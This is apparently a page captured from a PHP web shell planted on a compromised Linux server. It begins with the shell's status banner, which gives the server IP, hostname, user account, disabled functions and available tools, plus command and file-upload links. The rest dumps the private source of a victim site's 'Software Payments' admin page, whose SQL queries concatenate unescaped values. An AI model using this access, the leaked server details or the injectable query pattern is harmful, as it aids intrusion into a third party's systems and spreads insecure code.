Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/jrset.ncriptech.com/../websites/vtti.e-campus.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include ("include/makeSession.php"); $menu_string=mysqli_fetch_array(mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'"))['menuper']; $menu_arr=explode(',',$menu_string); if(!in_array('Master Setting',$menu_arr)){ header("location:index.php"); } $_SESSION['page_name']="SoftwarePayment"; include('include/function.php'); include("include/header.php"); include("include/sidebar.php"); ?> <div class="content-wrapper"> <section class="content-header"> <h1> Software Payments</h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Software Payments</a></li> </ol> <?php if(!empty($_SESSION['msg'])){ $msg=$_SESSION["msg"]; echo '<div class="col-md-8"> <div class="alert alert-success alert-dismissible"> <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a> '.$msg.' </div>'; $_SESSION["msg"]='';} ?> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box"> <div class="box-header"> <h3 class="box-title">Software Payments </h3> </div><!-- /.box-header --> <div class="box-body table-responsive" > <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th scope="col">Action</th> <th>#ID</th> <th>Order ID</th> <th scope="col">Service</th> <th scope="col">Invoice Date</th> <th scope="col">Due Date</th> <th scope="col">Amount</th> <th scope="col">Payment Date</th> </tr> </thead> <tbody> <?php $q=mysqli_query($con_bill,"select transaction.* from transaction left join software on software.id=transaction.software_id where software.name='$software_name'"); $i = 1; while($r=mysqli_fetch_array($q)){ ?> <tr> <td> <?php if($r['status']=="paid"){ ?> PAID <!--<a href="payment_details.php"><i class="fa fa-eye"></i></a>--> <?php }else if($r['status']=="unpaid"){ ?> UNPAID <a href="bill.php">Make Payment</a> <?php } ?> </td> <td><?=$i;?></td> <td><?=$r['order_id'];?></td> <td><?=$r['remark'];?></td> <td><?=date("d-m-Y",strtotime($r['date']));?></td> <td><?=date("d-m-Y",strtotime($r['expiry_date']));?></td> <td><?=$r['amount'];?></td> <td><?php if($r['paid_date']!='0000-00-00') echo date("d-m-Y",strtotime($r['paid_date']));?></td> </tr> <?php $i++;} ?> </tbody> </table> </div><!-- /.box-body --> </div><!-- /.box --> </div><!-- /.col --> </div><!-- /.row --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <!-- footer start --> <?php include('include/footer.php'); ?> <!-- footer end --> <script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script> <script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script> <script src="bootstrap/js/dataTables.buttons.min.js" type="text/javascript"></script> <script src="bootstrap/js/jszip.min.js" type="text/javascript"></script> <script src="bootstrap/js/pdfmake.min.js" type="text/javascript"></script> <script src="bootstrap/js/vfs_fonts.js" type="text/javascript"></script> <script src="bootstrap/js/buttons.html5.min.js" type="text/javascript"></script> <script src="bootstrap/js/buttons.print.min.js" type="text/javascript"></script> <script src="bootstrap/js/buttons.colVis.min.js" type="text/javascript"></script> <script src="bootstrap/js/buttons.flash.min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function() { $('#example1').DataTable( { dom: 'Bfrtip', columnDefs: [ { targets: 1, className: 'noVis' } ], buttons: [ { extend: 'colvis', columns: ':not(.noVis)' } ], buttons: [ { extend: 'colvis', text: 'COLOUMNS' }, { extend: 'csv', text: 'Export to CSV' }, { extend: 'excel', text: 'Export to Excel' }, { extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } }, { extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}} ], }); }); </script>